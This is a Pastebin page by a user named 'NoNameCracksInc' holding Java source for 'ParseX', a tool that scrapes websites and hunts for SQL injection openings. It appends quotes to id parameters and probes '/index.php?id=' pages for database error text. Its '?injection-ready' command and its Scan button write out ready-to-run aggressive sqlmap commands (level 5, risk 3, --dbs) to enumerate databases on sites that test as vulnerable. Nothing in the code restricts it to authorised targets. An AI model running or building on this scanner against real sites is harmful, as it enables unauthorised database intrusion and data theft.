Advertisement
NoNameCracksInc

ParseX src

Oct 31st, 2013
238
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 13.47 KB | None | 0 0
  1. import java.awt.Dimension;
  2. import java.awt.FlowLayout;
  3. import java.awt.event.ActionEvent;
  4. import java.awt.event.ActionListener;
  5. import java.io.*;
  6. import java.net.*;
  7. import org.jsoup.HttpStatusException;
  8. import org.jsoup.Jsoup;
  9. import org.jsoup.nodes.Document;
  10. import org.jsoup.select.Elements;
  11. import org.jsoup.nodes.Element;
  12. import javax.swing.*;
  13.  
  14.  
  15. public class testing implements Runnable,ActionListener{
  16.     PrintWriter writer;
  17.     PrintWriter htmlpainter;
  18.     BufferedReader reader;
  19.     String str;
  20.     String message;
  21.     String source;
  22.     String page;
  23.     String command;
  24.     String url;
  25.     String secondaryurl;
  26.     int hash;
  27.     static int time;
  28.     JFrame frame;
  29.     JTextPane pane;
  30.     JButton button;
  31.     Document doc;
  32.     Document vuln;
  33.     Document docx;
  34.     Thread t1;
  35.     InetAddress address;
  36.     String link;
  37.     String idoption;
  38.     String string;
  39.     Elements e;
  40.     String cssquery;
  41.    
  42.     public void run(){
  43.         for(time=0;time>=0;time++){
  44.             try{
  45.             Thread.sleep(1000);
  46.             }catch(InterruptedException e){System.out.println(e.getMessage()+"Thread interrupted.");}
  47.         }
  48.     }
  49.    
  50.     public void searchCore()throws IOException{
  51.         Java java=new Java();
  52.         reader=new BufferedReader(new InputStreamReader(System.in));
  53.         t1=new Thread(new testing());
  54.        
  55.         System.out.println("<ParseX>\n");
  56.         t1.start();
  57.         System.out.print("Choose name of website to be tested: ");
  58.         url=reader.readLine();
  59.         System.out.print("Choose name of secondary url: ");
  60.         secondaryurl=reader.readLine();
  61.        
  62.         try{
  63.         doc=Jsoup.connect(url).get();
  64.         }
  65.         catch(IllegalArgumentException | HttpStatusException | SocketTimeoutException s){System.out.println(s.getMessage()+" -Wrong url syntax.Provide http:// prefix, or could not connect.");}
  66.        
  67.         System.out.println("Connected.");
  68.  
  69.     do{
  70.         System.out.print(">");
  71.         command=reader.readLine();     
  72. //SIMPLE//     
  73.         if(command.equals("?getnode"))
  74.             System.out.println(doc.nodeName());
  75.        
  76.         if(command.equals("?getname"))
  77.             System.out.println(doc.title());
  78.        
  79.         if(command.equals("?gettag"))
  80.             System.out.println(doc.tag());
  81.        
  82.         if(command.equals("?help"))
  83.             java.help();
  84.          
  85.         if(command.equals("?printsource")){
  86.             source=doc.html();
  87.             System.out.println(source);
  88.         }
  89.        
  90.         if(command.equals("?printpage")){
  91.             page=doc.text();
  92.             System.out.println(page);
  93.         }
  94.        
  95.         if(command.equals("?session"))
  96.             System.out.println(time+" seconds.");
  97.        
  98.         if(command.equals("!execute"))
  99.             System.exit(0);
  100.        
  101.         if(command.equals("?getall")){
  102.             System.out.println("Node: "+doc.nodeName());
  103.             System.out.println("Name: "+doc.title());
  104.             System.out.println("Tag: "+doc.tag());
  105.         }
  106.            
  107.         if(command.equals("?gethash")){
  108.             hash=url.hashCode();
  109.             System.out.println(url+": "+hash);
  110.            }
  111.            
  112.         if(command.equals("?getip")){
  113.             try{
  114.             address=InetAddress.getByName(secondaryurl);
  115.             System.out.println(address);
  116.             }
  117.             catch(UnknownHostException e){System.out.println(e.getMessage()+" -wrong name of host.");}
  118.         }
  119.         if(command.endsWith("test")&&!command.equals("test"))
  120.             System.out.println("Repair testX.Does not work properly.");
  121.        
  122.         if(command.equals("?codestr")){
  123.             System.out.print("Insert string: ");
  124.             string=reader.readLine();
  125.             System.out.println(string+": "+string.hashCode());
  126.         }
  127.        
  128. //MAIN//       
  129.         if(command.equals("?getsource")){
  130.             writer=new PrintWriter(System.getProperty("user.dir") + "\\" + "SRC.txt");
  131.            
  132.             source=doc.html();
  133.             writer.write(source);
  134.             writer.close();
  135.             System.out.println("Done.");
  136.         }  
  137.         if(command.equals("?getpage")){
  138.             writer=new PrintWriter(System.getProperty("user.dir") + "\\" + "TEXT.txt");
  139.            
  140.             page=doc.text();
  141.             writer.write(page);
  142.             writer.close();
  143.             System.out.println("Done.");
  144.         }
  145.        
  146.         if(command.equals("?isvulnerable")){
  147.             if(url.contains("id")||url.contains("ID")){
  148.                
  149.             try{
  150.             vuln=Jsoup.connect(url+"'").get();
  151.             }catch(IllegalArgumentException | HttpStatusException | SocketTimeoutException s){System.out.println(s.getMessage()+" -Wrong url syntax.Provide http:// prefix, or could not connect.");}
  152.                    
  153.             message=vuln.text();
  154.             if(message.contains("sql")||message.contains("Sql")||message.contains("SQL")||message.contains("mySQL")||message.contains("mysql")||message.contains("MySQL")){
  155.                 System.out.println("Website is SQLi vulnerable.");
  156.             }
  157.             else
  158.                 System.out.println("No SQLi vulnerable place found.");
  159.             }
  160.             else
  161.                 System.out.println("No parameter provided.");
  162.         }
  163.        
  164.         if(command.equals("!bruteforce")){
  165.             if(!url.contains("id")&&!url.contains("ID")){
  166.        
  167.                 try{
  168.                 vuln=Jsoup.connect(url+"/index.php?id='").get();   
  169.                 }catch(IllegalArgumentException | HttpStatusException | SocketTimeoutException s){System.out.println(s.getMessage()+" -Wrong url syntax.Provide http:// prefix, or could not connect.");}
  170.                
  171.                 message=vuln.text();
  172.                 if(message.contains("sql")||message.contains("Sql")||message.contains("SQL")||message.contains("mySQL")||message.contains("mysql")||message.contains("MySQL")){
  173.                     System.out.println("Website is SQLi vulnerable (bruteforce).");
  174.                 }
  175.                 else
  176.                     System.out.println("No SQLi vulnerable place found.");
  177.             }
  178.             else
  179.                 System.out.println("Cannot force website to throw vulnerable subdomain- id is implemented.");
  180.             }
  181.    
  182.         if(command.equals("?usesjvs")){
  183.             source=doc.html();
  184.            
  185.             if(source.contains("javascript")||source.contains("function")){
  186.                 System.out.println("Website possibly uses javascript.");
  187.             }
  188.             else
  189.                 System.out.println("No javascript footprint found.");
  190.             }
  191.        
  192.         if(command.equals("?usescss")){
  193.             source=doc.html();
  194.            
  195.             if(source.contains("css")||source.contains("style")){
  196.                 System.out.println("Website possibly uses css styles.");
  197.             }
  198.             else
  199.                 System.out.println("No css footprint found.");
  200.         }
  201.        
  202.         if(command.equals("?htmlversion")){
  203.             source=doc.html();
  204.            
  205.             if(source.contains("!DOCTYPE")||source.contains("!doctype")){
  206.                 System.out.println("Website uses HTML 5.");
  207.             }
  208.             else{
  209.                 System.out.println("Website HTML version < 5.0.");
  210.             }
  211.         }
  212.        
  213.         if(command.equals("?getlinks")){
  214.             htmlpainter=new PrintWriter(System.getProperty("user.dir") + "\\" + "LINKS.txt");
  215.             Elements links=doc.select("a[href]");
  216.            
  217.             for(Element element : links){
  218.                 htmlpainter.print("\n"+element.attr("href")+"  ");
  219.             }
  220.             htmlpainter.close();
  221.             System.out.println("Done.");
  222.         }
  223.        
  224.         if(command.equals("?printlinks")){
  225.                 Elements links=doc.select("a[href]");
  226.                
  227.                 for(Element element : links){
  228.                     System.out.println("\n"+element.attr("href"));
  229.                 }
  230.         }
  231.        
  232.         if(command.equals("?getimages")){
  233.             htmlpainter=new PrintWriter(System.getProperty("user.dir") + "\\" + "IMGS.txt");
  234.             Elements images=doc.select("img");
  235.            
  236.             for(Element element : images){
  237.                 htmlpainter.print("\n"+element.attr("src")+"   ");
  238.             }
  239.             htmlpainter.close();
  240.             System.out.println("Done.");
  241.         }
  242.        
  243.         if(command.equals("?printimages")){
  244.             Elements images=doc.select("img");
  245.            
  246.             for(Element element : images){
  247.                 System.out.println("\n"+element.attr("src"));
  248.             }
  249.         }
  250.        
  251.         if(command.equals("?injection-ready")){
  252.             writer=new PrintWriter(System.getProperty("user.dir") + "\\" + "SCR.txt");
  253.            
  254.             System.out.print("Do you wish to provide id parameter? y/n:");
  255.             idoption=reader.readLine();
  256.            
  257.             if(idoption.equals("y")){
  258.             writer.println("python sqlmap.py -u "+url+" --random-agent --timeout=15 --keep-alive --threads=3 --level=5 --risk=3 --technique=BEUST --union-cols=20 --dbs --eta -v 2 --union-char=20 -p id");
  259.             writer.close();
  260.             }
  261.             else{
  262.                 writer.println("python sqlmap.py -u "+url+" --random-agent --timeout=15 --keep-alive --threads=3 --level=5 --risk=3 --technique=BEUST --union-cols=20 --dbs --eta -v 2 --union-char=20 ");
  263.                 writer.close();    
  264.             }
  265.             System.out.println("Done.");
  266.         }
  267.        
  268.         if(command.equals("?countelement")){
  269.             System.out.print("Insert name of element: ");
  270.             cssquery=reader.readLine();
  271.             e=doc.select(cssquery);
  272.            
  273.             if(e.size()>0)
  274.             System.out.println("Source code contains "+e.size()+" element/s "+cssquery+".");
  275.              
  276.             else
  277.                 System.out.println("Source code does not contain element/s "+cssquery+".");
  278.         }
  279.            
  280. //STR FILTER//     
  281.         if(command.equals("?getsourcestr")){
  282.             System.out.print("Insert string: ");
  283.             str=reader.readLine();
  284.             source=doc.html();
  285.             if(source.contains(str)){
  286.                 System.out.println("Source code contains *"+str+"*.");
  287.             }
  288.             else
  289.                 System.out.println("Source code does not contain *"+str+"*.");
  290.             }      
  291.        
  292.        
  293.         if(command.equals("?getpagestr")){
  294.             System.out.print("Insert string: ");
  295.             str=reader.readLine();
  296.             page=doc.text();
  297.             if(page.contains(str)){
  298.                 System.out.println("Page text contains *"+str+"*.");
  299.             }
  300.             else
  301.                 System.out.println("Page text does not contain *"+str+"*.");
  302.             }
  303.        
  304. //GUI-testX//
  305.         frame=new JFrame("TestX");
  306.         frame.setSize(500,120);
  307.         frame.setVisible(false);
  308.         frame.setLayout(new FlowLayout());
  309.        
  310.         pane=new JTextPane();
  311.         pane.setPreferredSize(new Dimension(450,50));
  312.        
  313.         button=new JButton("Scan");
  314.         button.setPreferredSize(new Dimension(200,20));
  315.         button.addActionListener(this);
  316.        
  317.         frame.add(pane);
  318.         frame.add(button);
  319.        
  320.         if(command.equals("?testX")){
  321.             frame.setVisible(true);
  322.         }  
  323.        
  324.     }while(command!="disconnect");
  325. }
  326.         public static void main(String args[])throws IOException{
  327.             testing obj=new testing();
  328.             obj.searchCore();
  329.         }
  330.        
  331.         @Override
  332.         public void actionPerformed(ActionEvent e){
  333.             try{
  334.             link=pane.getText();
  335.            
  336.             try{
  337.             docx=Jsoup.connect(link+"'").get();
  338.             }catch(IllegalArgumentException | HttpStatusException | SocketTimeoutException s){System.out.println(s.getMessage()+" -Wrong url syntax.Provide http:// prefix, or could not connect.");}
  339.            
  340.             message=docx.text();   
  341.             if(message.contains("sql")||message.contains("Sql")||message.contains("SQL")||message.contains("mySQL")||message.contains("mysql")||message.contains("MySQL")){
  342.                 pane.setText(pane.getText()+"\n"+"Website is SQLi vulnerable.");
  343.                
  344.                 try{
  345.                 writer=new PrintWriter(System.getProperty("user.dir") + "\\" + "MAP.txt");
  346.                 }catch(FileNotFoundException fnf){System.out.println(fnf.getMessage()+" -no such a file in directory.");}  
  347.                
  348.                 writer.println("python sqlmap.py -u "+link+" --random-agent --timeout=15 --keep-alive --threads=3 --level=5 --risk=3 --technique=BEUST --union-cols=20 --dbs --eta -v 2 --union-char=20 -p id");
  349.                 writer.close();
  350.             }
  351.             else
  352.                 pane.setText(pane.getText()+"\n"+"No vulnerableness found.");
  353.         }
  354.             catch(IOException es){System.out.println(es);}
  355.    }
  356. }
  357.  
  358. public class Java{
  359.  
  360.     public void help(){
  361.         System.out.println("ParseX is software used to analyse websites and search for SQLi vulnerableness.\n" +
  362.                            "It's also one-session-only software.Primary url- with http:// and/or parameter.\n" +
  363.                            "Secondary url- without both http:// and parameter.\n\n");
  364.         System.out.println("?getname- get name of website.");
  365.         System.out.println("?gettag- get tag of website.");
  366.         System.out.println("?getnode- get node of website.");
  367.         System.out.println("?getall- get name,tag and node.");
  368.         System.out.println("?getsource- write source code of website to a text file.");
  369.         System.out.println("?printsource- print source code to console.");
  370.         System.out.println("?getpage- write website's text content to a text file.");
  371.         System.out.println("?printpage- print website's text content to console.");
  372.         System.out.println("?isvulnerable- find website's SQLi vulnerableness (provide id parameter).");
  373.         System.out.println("!bruteforce- force website to throw SQLi vulnerable subdomain (less effective).");
  374.         System.out.println("?injection-ready- write sqlmap-based script to text file.");
  375.         System.out.println("?getsourcestr- find certain String in source code.");
  376.         System.out.println("?getpagestr- find certain String in textual content.");
  377.         System.out.println("?getlinks- find all links of website from <a href> tag.");
  378.         System.out.println("?printlinks- print all links of website to a console.");
  379.         System.out.println("?getimages- get all image links from <img src> tag.");
  380.         System.out.println("?printimges- print all image links to console.");
  381.         System.out.println("?gethash- encrypt name of website into numeric hash.");
  382.         System.out.println("?usesjvs/usescss- find out if website uses javascript or css language.");
  383.         System.out.println("?htmlversion- find out if website uses HTML <= 5.0.");
  384.         System.out.println("?getip- get ip address of website.");
  385.         System.out.println("?session- get current session time.");
  386.         System.out.println("?testX- start separate testX software to scan if any website is vulnerable.");
  387.         System.out.println("!execute- execute current session.");
  388.         System.out.println("?codestr- encode string to hash value.");
  389.     }  
  390. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement